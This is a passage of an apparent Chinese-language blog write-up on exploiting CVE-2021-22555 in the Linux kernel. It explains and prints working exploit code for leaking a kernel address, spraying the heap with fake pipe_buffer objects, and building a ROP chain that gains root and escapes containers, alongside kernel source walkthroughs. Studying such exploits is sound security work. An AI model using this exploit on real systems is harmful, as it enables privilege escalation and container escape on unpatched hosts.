goto err_rmid;
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
perror("[-] write");
goto err_rmid;
}
}
printf("[*] Leaking and freeing pipe_buffer object...\n");
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
perror("[-] read");
goto err_rmid;
}
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
}
}
kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

此时skb与pipe_buffer
占据同一块内存,利用skb伪造pipe_buffer->ops
指向本堆块,再伪造pipe_buffer->ops->release
指向第1个ROPgadget,劫持控制流。
printf("[*] Spraying fake pipe_buffer objects...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
buf = (struct pipe_buffer *)&secondary_buf;
buf->ops = kheap_addr + 0x290;
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
#ifdef KERNEL_COS_5_4_89
// RAX points to &buf->ops.
// RCX points to &buf.
ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX;
#elif KERNEL_UBUNTU_5_8_0_48
// RSI points to &buf.
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
#endif
build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// Trigger pipe_release().
printf("[*] Releasing pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close");
goto err_rmid;
}
if (close(pipefd[i][1]) < 0) {
perror("[-] close");
goto err_rmid;
}
}

ROP流程:调用pipe_buffer->ops
时,rsi指向pipe_buffer
地址,所以需构造ROP将RSI赋值给RSP
(1)没有找到类似mov rsp, rsi
和push rsi; pop rsp
的gadget,只能先伪造pipe_buffer->ops
函数表,pipe_buffer->ops->release
指向gadget—push rsi; jmp qword ptr [rsi + 0x39]
(2)在RSI+0x39
处(pipe_buffer+0x39
处)放置gadget—pop rsp; ret;
(3)在RSI
处(pipe_buffer
处)放置gadget—add rsp, 0xd0; ret;
避免破坏pipe_buffer+0x10 - 0x18
(4)在RSI+0xd8
处(pipe_buffer+0xd8
处)继续布置ROP链
(5)先将RBP保存到RSI+0x2b0
处(pipe_buffer+0x2b0
处),注意,enter 0, 0
指令等同于 push rbp; mov rbp, rsp
—— rbp=rsp
,enter 8, 0
指令等同于 push rbp; mov rbp, rsp; sub rsp, 8
// Save RBP at scratchpad_addr.
*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET; // enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
*rop++ = scratchpad_addr; // R12
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET; // mov qword ptr [r12], rbx; pop rbx; pop r12; pop r13; pop rbp; ret;
*rop++ = 0xDEADBEEF; // RBX
*rop++ = 0xDEADBEEF; // R12
*rop++ = 0xDEADBEEF; // R13
*rop++ = 0xDEADBEEF; // RBP
(6)执行commit_creds(prepare_kernel_cred(0))
提权
// commit_creds(prepare_kernel_cred(NULL))
*rop++ = kbase_addr + POP_RDI_RET; // pop rdi; ret;
*rop++ = 0; // RDI
*rop++ = kbase_addr + PREPARE_KERNEL_CRED;
*rop++ = kbase_addr + POP_RCX_RET; // pop rcx; ret;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; // cmp rcx, 4; jne 0x274579; pop rbp; ret;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; // mov rdi, rax; jne 0x788d41; xor eax, eax; ret;
*rop++ = kbase_addr + COMMIT_CREDS;
(7)从docker、k8s容器(kubernetes)中逃逸,参考 The Route to Root: Container Escape Using Kernel Exploitation 和 利用 Linux 内核漏洞实现 Docker 逃逸。本环境没有用到容器,这一步不执行也能提权。
如果Linux运行在容器环境中,即使提权成功,由于所在的命名空间权限受限,即使是root也会受限(如文件系统只读等)。方法1,可以将初始进程(pid=1)的task_struct->fs
(存放着进程根目录及工作目录)复制到exp所在的进程,就能将exp进程的根目录设置到宿主机中了,但这种方法可能环境变量不对(需采用完整路径执行程序);方法2,task_struct->nsproxy
指向当前进程的命名空间,可以用系统初始化时的全局命名空间init_nsproxy
替换exp所在进程的nsproxy
,执行switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
即可。
// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET; // pop rdi; ret;
*rop++ = 1; // RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID; // find_task_by_vpid
*rop++ = kbase_addr + POP_RCX_RET; // pop rcx; ret;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; // cmp rcx, 4; jne 0x274579; pop rbp; ret;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; // mov rdi, rax; jne 0x788d41; xor eax, eax; ret;
*rop++ = kbase_addr + POP_RSI_RET; // pop rsi; ret;
*rop++ = kbase_addr + INIT_NSPROXY; // RSI // init_nsproxy
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES; // switch_task_namespaces
(8)恢复rbp/rsp,RSI+0x2b0
处(pipe_buffer+0x2b0
处)
// Load RBP from scratchpad_addr and resume execution.
*rop++ = kbase_addr + POP_RBP_RET; // pop rbp; ret;
*rop++ = scratchpad_addr - 0xA; // RBP
*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET; // push qword ptr [rbp + 0xa]; pop rbp; ret;
*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET; // mov rsp, rbp; pop rbp; ret;

pipe_buffer 对象 -> pipe_buf_operations :包含全局函数表指针ops。
struct pipe_buffer {
struct page *page; // 读写pipe时, 实际上是读写page地址
unsigned int offset, len;
const struct pipe_buf_operations *ops; // <-------- 函数表
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); // 确保 pipe buffer 中的数据有效,有效则返回0,无效则返回负值错误码。
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);// <-------- 释放 pipe buffer
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
pipe 操作函数表:pipefifo_fops
const struct file_operations pipefifo_fops = {
.open = fifo_open, // <------- open
.llseek = no_llseek,
.read_iter = pipe_read, // <------- read
.write_iter = pipe_write, // <------- write
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release, // <------- release
.fasync = pipe_fasync,
.splice_write = iter_file_splice_write,
};
pipe_buffer分配:alloc_pipe_info() —— 分配大小为0x280(默认16个page,16*0x28=0x280),所以位于0x400堆块中。
分配调用链:(1)pipe() -> do_pipe2() -> __do_pipe_flags() -> create_pipe_files() -> get_pipe_inode() -> alloc_pipe_info() (2)fifo_open() -> alloc_pipe_info()
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS; // pipe_bufs = 16
struct user_struct *user = get_current_user();
unsigned long user_bufs;
unsigned int max_size = READ_ONCE(pipe_max_size);
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT); // 分配 pipe_inode_info 结构
... ...
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer), // 分配大小 16*sizeof(pipe_buffer) = 16*0x28 = 370, 注意也是 GFP_KERNEL_ACCOUNT 标志
GFP_KERNEL_ACCOUNT);
... ...
return NULL;
}
pipe_buffer释放:pipe_release() -> put_pipe_info() -> free_pipe_info -> pipe_buf_release() 调用pipe_buffer->ops->release
函数,可劫持控制流。
static inline void pipe_buf_release(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
const struct pipe_buf_operations *ops = buf->ops;
buf->ops = NULL;
ops->release(pipe, buf); // 劫持控制流
}
SKB喷射:采用socketpair()
创建一对无名的、相互连接的套接字,int socketpair(int domain, int type, int protocol, int sv[2])
,函数成功则返回0, 创建好的套接字分别是sv[0]和sv[1],失败则返回-1。可以往sv[0]中写,从sv[1]中读;或者从sv[1]中写,从sv[0]中读,相关函数为write()
和read()
。也可以调用sendmsg()
和recvmsg()
来发送和接收数据,用户参数是msghdr
结构。本exp是采用write()
和read()
进行堆喷和释放的。
size:0x280 不包含头信息,可喷射前面的字节,如喷射伪造pipe_buffer->ops
。
创建链:write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()
read链:read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> sock_read_iter() -> sock_recvmsg() -> sock_recvmsg_nosec() -> unix_stream_recvmsg() -> unix_stream_read_generic() -> unix_stream_read_actor() -> skb_copy_datagram_msg() -> skb_copy_datagram_iter() -> __skb_datagram_iter()
write链: write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> skb_copy_datagram_from_iter()
static ssize_t sock_write_iter(struct kiocb *iocb, struct iov_iter *from)
{
struct file *file = iocb->ki_filp;
struct socket *sock = file->private_data;
struct msghdr msg = {.msg_iter = *from, // 组装msg结构, 最开始是调用write进行堆喷的,所以没有传入msghdr结构(同sendmsg堆喷时传入的结构一样)
.msg_iocb = iocb};
ssize_t res;
if (iocb->ki_pos != 0)
return -ESPIPE;
if (file->f_flags & O_NONBLOCK || (iocb->ki_flags & IOCB_NOWAIT))
msg.msg_flags = MSG_DONTWAIT;
if (sock->type == SOCK_SEQPACKET)
msg.msg_flags |= MSG_EOR;
res = sock_sendmsg(sock, &msg); //
*from = msg.msg_iter;
return res;
}
int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset,
struct iov_iter *from,
int len)
{
int start = skb_headlen(skb); // skb->len - skb->data_len;
int i, copy = start - offset; // copy 是线性数据区的剩余空间大小
struct sk_buff *frag_iter;
// [1] 拷贝到线性数据区 skb->data
if (copy > 0) {
if (copy > len)
copy = len;
if (copy_from_iter(skb->data + offset, copy, from) != copy)
goto fault;
if ((len -= copy) == 0)
return 0;
offset += copy;
}
// [2] 拷贝到非线性数据区 skb->frags
for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {
int end;
const skb_frag_t *frag = &skb_shinfo(skb)->frags[i];
WARN_ON(start > offset + len);
end = start + skb_frag_size(frag);
if ((copy = end - offset) > 0) {
size_t copied;
if (copy > len)
copy = len;
copied = copy_page_from_iter(skb_frag_page(frag),
skb_frag_off(frag) + offset - start,
copy, from);
if (copied != copy)
goto fault;
if (!(len -= copy))
return 0;
offset += copy;
}
start = end;
}
// [3] 拷贝到非线性数据区 skb->fraglist
skb_walk_frags(skb, frag_iter) { // for (iter = skb_shinfo(skb)->frag_list; iter; iter = iter->next)
int end;
WARN_ON(start > offset + len);
end = start + frag_iter->len;
if ((copy = end - offset) > 0) {
if (copy > len)
copy = len;
if (skb_copy_datagram_from_iter(frag_iter,
offset - start,
from, copy))
goto fault;
if ((len -= copy) == 0)
return 0;
offset += copy;
}
start = end;
}
if (!len)
return 0;
... ...
}
EXPORT_SYMBOL(skb_copy_datagram_from_iter);
为了使xt_table_info
漏洞对象、spray对象、victim对象、占位对象位于同一cache,由于漏洞对象是用GFP_KERNEL_ACCOUNT
标志分配的,所以其他对象也应该用GFP_KERNEL_ACCOUNT
标志来分配(原作者指出,在linux 5.9之前,不同的slab被用于计数)。victim对象——pipe_buffer
结构和占位对象——msg_msg
结构(参见文章[7]
中的分析)都是用GFP_KERNEL_ACCOUNT
标志来分配的。
根据文章 kernel pwn – UAF 中所述,SLAB内存管理机制对内核对象的类型十分挑剔,只有类型和大小都完全一致的对象才能重用其空间;但是SLUB对对象类型就没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。本文我编译时默认采用的SLUB内存管理。
# gcc -m32 选项
$ sudo apt-get update
$ sudo apt-get purge libc6-dev
$ sudo apt-get install libc6-dev
$ sudo apt-get install libc6-dev-i386
[1] https://nvd.nist.gov/vuln/detail/CVE-2021-22555 —— 漏洞公告
[2] CVE-2021-22555: Turning \x00\x00 into 10000$ —— writeup英文
[3] CVE-2021-22555-exploit —— exp
[4] CVE-2021-22555: 从 x00x00 到10000$奖金 —— writeup中文
[5] 隐藏十五年的漏洞:CVE-2021-22555 漏洞分析与复现 —— writeup中文
[6] CVE-2021-22555 linux内核提权 —— writeup中文
[7] Linux内核中利用msg_msg结构实现任意地址读写 —— msg_msg
结构的创建与读取,占位对象
[8] socketpair的用法和理解 —— socketpair()
函数,用于堆喷
[9] Linux进程间通信(七):消息队列 msgget()、msgsend()、msgrcv()、msgctl() —— 创建msg_msg
结构,用于堆喷
[10] Linux系统调用:pipe()系统调用源码分析 —— pipe
堆喷
[11] 一、Netfilter简介 —— Netfiler 背景知识
[12] linux内核协议栈 netfilter 之 ip 层的table、rule、match、target结构分析 —— Netfiler 背景知识
[13] The Route to Root: Container Escape Using Kernel Exploitation —— 容器逃逸方法 英文
[14] 利用 Linux 内核漏洞实现 Docker 逃逸 —— 容器逃逸方法 中文
Gitalking ...